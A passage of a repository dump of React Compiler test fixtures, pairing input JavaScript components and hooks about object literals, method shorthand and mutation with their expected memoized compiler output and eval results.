    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {...props.foo};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.foo) {\n    t0 = { ...props.foo };\n    $[0] = props.foo;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.js",
    "content": "function Component(props) {\n  const x = {...props.foo};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, setProperty} from 'shared-runtime';\nfunction useHook(props) {\n  const x = {\n    getX() {\n      return props;\n    },\n  };\n  const y = {\n    getY() {\n      return 'y';\n    },\n  };\n  return setProperty(x, y);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, setProperty } from \"shared-runtime\";\nfunction useHook(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = {\n      getX() {\n        return props;\n      },\n    };\n    const y = {\n      getY() {\n        return \"y\";\n      },\n    };\n    t0 = setProperty(x, y);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getX\":{\"kind\":\"Function\",\"result\":{\"value\":0}},\"wat0\":{\"getY\":{\"kind\":\"Function\",\"result\":\"y\"}}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.js",
    "content": "import {createHookWrapper, setProperty} from 'shared-runtime';\nfunction useHook(props) {\n  const x = {\n    getX() {\n      return props;\n    },\n  };\n  const y = {\n    getY() {\n      return 'y';\n    },\n  };\n  return setProperty(x, y);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, mutate} from 'shared-runtime';\n\nfunction useHook(a) {\n  const x = {a};\n  let obj = {\n    method() {\n      mutate(x);\n      return x;\n    },\n  };\n  return obj.method();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{x: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, mutate } from \"shared-runtime\";\n\nfunction useHook(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const x = { a };\n    const obj = {\n      method() {\n        mutate(x);\n        return x;\n      },\n    };\n    t0 = obj.method();\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ x: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"a\":{\"x\":1},\"wat0\":\"joe\"},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.js",
    "content": "import {createHookWrapper, mutate} from 'shared-runtime';\n\nfunction useHook(a) {\n  const x = {a};\n  let obj = {\n    method() {\n      mutate(x);\n      return x;\n    },\n  };\n  return obj.method();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{x: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return value;\n    },\n  };\n  mutate(x);\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, mutate, mutateAndReturn } from \"shared-runtime\";\nfunction useHook(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let obj;\n  if ($[0] !== value) {\n    const x = mutateAndReturn({ value });\n    obj = {\n      getValue() {\n        return value;\n      },\n    };\n    mutate(x);\n    $[0] = value;\n    $[1] = obj;\n  } else {\n    obj = $[1];\n  }\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getValue\":{\"kind\":\"Function\",\"result\":0}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.js",
    "content": "import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return value;\n    },\n  };\n  mutate(x);\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return x;\n    },\n  };\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, mutateAndReturn } from \"shared-runtime\";\nfunction useHook(t0) {\n  const $ = _c(4);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = mutateAndReturn({ value });\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[2] !== x) {\n    t2 = {\n      getValue() {\n        return x;\n      },\n    };\n    $[2] = x;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const obj = t2;\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getValue\":{\"kind\":\"Function\",\"result\":{\"value\":0,\"wat0\":\"joe\"}}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.js",
    "content": "import {createHookWrapper, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return x;\n    },\n  };\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\nimport {useState} from 'react';\nfunction useFoo() {\n  const [state, _setState] = useState(false);\n  return {\n    func() {\n      return state;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\nimport { useState } from \"react\";\nfunction useFoo() {\n  const $ = _c(2);\n  const [state] = useState(false);\n  let t0;\n  if ($[0] !== state) {\n    t0 = {\n      func() {\n        return state;\n      },\n    };\n    $[0] = state;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"func\":{\"kind\":\"Function\",\"result\":false}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.js",
    "content": "import {createHookWrapper} from 'shared-runtime';\nimport {useState} from 'react';\nfunction useFoo() {\n  const [state, _setState] = useState(false);\n  return {\n    func() {\n      return state;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return x;\n    },\n  };\n  mutate(obj);\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, mutate, mutateAndReturn } from \"shared-runtime\";\nfunction useHook(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let obj;\n  if ($[0] !== value) {\n    const x = mutateAndReturn({ value });\n    obj = {\n      getValue() {\n        return x;\n      },\n    };\n    mutate(obj);\n    $[0] = value;\n    $[1] = obj;\n  } else {\n    obj = $[1];\n  }\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getValue\":{\"kind\":\"Function\",\"result\":{\"value\":0,\"wat0\":\"joe\"}},\"wat0\":\"joe\"},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.js",
    "content": "import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';\nfunction useHook({value}) {\n  const x = mutateAndReturn({value});\n  const obj = {\n    getValue() {\n      return x;\n    },\n  };\n  mutate(obj);\n  return obj;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let obj = {\n    method() {\n      return 1;\n    },\n  };\n  return obj.method();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 1}, {a: 2}, {b: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const obj = {\n      method() {\n        return 1;\n      },\n    };\n    t0 = obj.method();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 1 }, { a: 2 }, { b: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.js",
    "content": "function Component() {\n  let obj = {\n    method() {\n      return 1;\n    },\n  };\n  return obj.method();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 1}, {a: 2}, {b: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  if (props.cond) {\n    object.value = 1;\n    return object;\n  } else {\n    object.value = props.value;\n    return object;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, value: [0, 1, 2]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.cond || $[1] !== props.value) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const object = makeObject_Primitives();\n      if (props.cond) {\n        object.value = 1;\n        t0 = object;\n        break bb0;\n      } else {\n        object.value = props.value;\n        t0 = object;\n        break bb0;\n      }\n    }\n    $[0] = props.cond;\n    $[1] = props.value;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, value: [0, 1, 2] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true,\"value\":[0,1,2]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  if (props.cond) {\n    object.value = 1;\n    return object;\n  } else {\n    object.value = props.value;\n    return object;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, value: [0, 1, 2]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component({a, b}) {\n  let y = {a};\n  let z = {b};\n  return {y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const y = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const z = t2;\n  let t3;\n  if ($[4] !== y || $[5] !== z) {\n    t3 = { y, z };\n    $[4] = y;\n    $[5] = z;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.js",
    "content": "function component({a, b}) {\n  let y = {a};\n  let z = {b};\n  return {y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = a.x;\n  const y = {...b.c.d};\n  y.z = c.d.e;\n  foo(a.b.c);\n  [a.b.c];\n}\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  const y = { ...b.c.d };\n  y.z = c.d.e;\n  foo(a.b.c);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.js",
    "content": "function foo(a, b, c) {\n  const x = a.x;\n  const y = {...b.c.d};\n  y.z = c.d.e;\n  foo(a.b.c);\n  [a.b.c];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\nfunction useHook({a, b}) {\n  return {\n    x: function () {\n      return [a];\n    },\n    y() {\n      return [b];\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{a: 1, b: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\nfunction useHook(t0) {\n  const $ = _c(5);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = function () {\n      return [a];\n    };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== b || $[3] !== t1) {\n    t2 = {\n      x: t1,\n      y() {\n        return [b];\n      },\n    };\n    $[2] = b;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ a: 1, b: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"x\":{\"kind\":\"Function\",\"result\":[1]},\"y\":{\"kind\":\"Function\",\"result\":[2]}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.js",
    "content": "import {createHookWrapper} from 'shared-runtime';\nfunction useHook({a, b}) {\n  return {\n    x: function () {\n      return [a];\n    },\n    y() {\n      return [b];\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{a: 1, b: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({a, b, c}) {\n  return {\n    x: [a],\n    y() {\n      return [b];\n    },\n    z: {c},\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{a: 1, b: 2, c: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(8);\n  const { a, b, c } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = [a];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== b || $[3] !== c || $[4] !== t1) {\n    let t3;\n    if ($[6] !== c) {\n      t3 = { c };\n      $[6] = c;\n      $[7] = t3;\n    } else {\n      t3 = $[7];\n    }\n    t2 = {\n      x: t1,\n      y() {\n        return [b];\n      },\n      z: t3,\n    };\n    $[2] = b;\n    $[3] = c;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ a: 1, b: 2, c: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"x\":[1],\"y\":{\"kind\":\"Function\",\"result\":[2]},\"z\":{\"c\":2}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.js",
    "content": "import {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({a, b, c}) {\n  return {\n    x: [a],\n    y() {\n      return [b];\n    },\n    z: {c},\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{a: 1, b: 2, c: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({value}) {\n  const [state] = useState(false);\n\n  return {\n    getX() {\n      return {\n        a: [],\n        getY() {\n          return value;\n        },\n        state,\n      };\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nimport { createHookWrapper } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(3);\n  const { value } = t0;\n  const [state] = useState(false);\n  let t1;\n  if ($[0] !== state || $[1] !== value) {\n    t1 = {\n      getX() {\n        return {\n          a: [],\n          getY() {\n            return value;\n          },\n          state,\n        };\n      },\n    };\n    $[0] = state;\n    $[1] = value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getX\":{\"kind\":\"Function\",\"result\":{\"a\":[],\"getY\":{\"kind\":\"Function\",\"result\":0},\"state\":false}}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.js",
    "content": "import {useState} from 'react';\nimport {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({value}) {\n  const [state] = useState(false);\n\n  return {\n    getX() {\n      return {\n        a: [],\n        getY() {\n          return value;\n        },\n        state,\n      };\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = Object.entries(object);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.object) {\n    const object = { object: props.object };\n    const entries = Object.entries(object);\n    entries.map(_temp);\n    t0 = <Stringify entries={entries} />;\n    $[0] = props.object;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(t0) {\n  const [, value] = t0;\n  value.updated = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ object: { key: makeObject_Primitives() } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"entries\":[[\"object\",{\"key\":{\"a\":0,\"b\":\"value1\",\"c\":true},\"updated\":true}]]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.js",
    "content": "import {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = Object.entries(object);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [\n          item.id,\n          {id: item.id, render: ref => <Stringify ref={ref} {...item} />},\n        ])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.values(record).map(({id, render}) => (\n        <Stringify key={id} render={render} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component(t0) {\n  const $ = _c(4);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = Object.fromEntries(items.map(_temp));\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const record = t1;\n  let t2;\n  if ($[2] !== record) {\n    t2 = <div>{Object.values(record).map(_temp2)}</div>;\n    $[2] = record;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp2(t0) {\n  const { id, render } = t0;\n  return <Stringify key={id} render={render} />;\n}\nfunction _temp(item) {\n  return [\n    item.id,\n    { id: item.id, render: (ref) => <Stringify ref={ref} {...item} /> },\n  ];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        { id: \"0\", name: \"Hello\" },\n        { id: \"1\", name: \"World!\" },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"render\":\"[[ function params=1 ]]\"}</div><div>{\"render\":\"[[ function params=1 ]]\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [\n          item.id,\n          {id: item.id, render: ref => <Stringify ref={ref} {...item} />},\n        ])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.values(record).map(({id, render}) => (\n        <Stringify key={id} render={render} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useNoAlias} from 'shared-runtime';\n\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ?? {};\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useNoAlias } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ?? {};\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{ value: null }],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.ts",
    "content": "import {useNoAlias} from 'shared-runtime';\n\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ?? {};\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.expect.md",
